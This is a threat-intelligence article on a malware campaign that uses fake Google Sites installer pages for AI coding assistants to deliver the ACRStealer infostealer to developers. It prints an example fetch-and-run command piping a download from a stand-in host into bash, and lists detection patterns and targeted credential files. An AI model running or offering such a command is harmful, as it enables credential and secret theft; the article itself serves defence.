A malware campaign, active since at least March 2026, is targeting software developers with a sophisticated social engineering scheme. Attackers are creating fake download pages for popular AI coding assistants, including Anthropic's Claude Code and OpenAI Codex, and hosting them on Google Sites. This tactic leverages the trusted Google domain to appear legitimate and evade security blocklists. Developers are tricked into executing a seemingly harmless installation command from their terminal. However, the command contains a hidden instruction that downloads and runs ACRStealer, an information-stealing malware variant specifically tailored to harvest developer secrets, API keys, and cryptocurrency wallets.
The attack preys on the developer community's increasing reliance on AI coding tools. The threat actors create convincing, but fake, landing pages on sites.google.com. When a developer visits one of these pages, they are presented with a one-line command to copy and paste into their terminal for a supposed easy installation.
The malicious command uses a clever trick: a single ampersand (&) character. In Unix-like shells, & allows a command to run in the background while the shell immediately moves to the next command. The attackers construct the command so that a legitimate-looking (but fake) process runs in the foreground, while a malicious script is downloaded and executed silently in the background.
# Example of the malicious command structure
(echo 'Installation in progress...'); sleep 5 & curl -s http://malicious-domain.com/payload.sh | bash
The payload delivered in this campaign is a new variant of ACRStealer (sometimes called Amatera), an infostealer first observed in 2025. This version has been specifically updated to target developers using AI tools.
secrets.json (from Cline)config.yaml (from Continue.dev)This attack maps to several MITRE ATT&CK techniques:
T1204.002 - User Execution: Malicious Link: The user is socially engineered to visit the malicious Google Site.T1059.004 - Command and Scripting Interpreter: Unix Shell: The core of the attack relies on the user executing a malicious shell command.T1555 - Credentials from Password Stores: A primary function of the ACRStealer payload.T1539 - Steal Web Session Cookie: Another key function of the infostealer.The compromise of a developer's machine can have catastrophic consequences:
No specific domains or file hashes were provided in the source articles.
The following patterns could indicate related activity:
& followed by curl or wget piped to bash or sh.sites.google.com URLs promoting software installers, especially for developer tools.curl to a shell.Educating developers about the dangers of copy-pasting commands from untrusted sources is the primary defense.
Using EDR or other endpoint controls to block suspicious shell command patterns can prevent the attack from succeeding.
Blocking access to known malicious URLs or uncategorized sites can prevent the initial download of the payload.
Deploy an EDR solution on developer workstations configured for process lineage analysis. Create a specific detection rule that alerts whenever a process spawned by a shell (e.g., bash, zsh) attempts to access sensitive credential files such as ~/.aws/credentials, ~/.ssh/id_rsa, or browser profile directories. In the context of the ACRStealer attack, this would trigger an alert when the malicious script, executed via the copy-pasted command, starts enumerating and reading these files. This provides a direct method for detecting the malware's core payload activity.
While challenging in a developer environment, a targeted allowlisting approach can be effective. Instead of a blanket ban, focus on restricting the execution of unsigned scripts downloaded from the internet. Use endpoint security tools to enforce a policy where only scripts from trusted, code-signed sources or internal repositories can be executed. This would prevent the malicious payload.sh script, downloaded via curl from an untrusted source, from running, thereby breaking the attack chain.
The malware campaign is reported to have been active since at least March 2026.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
Help others stay informed about cybersecurity threats
Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.
Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.
Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.
Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.
Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.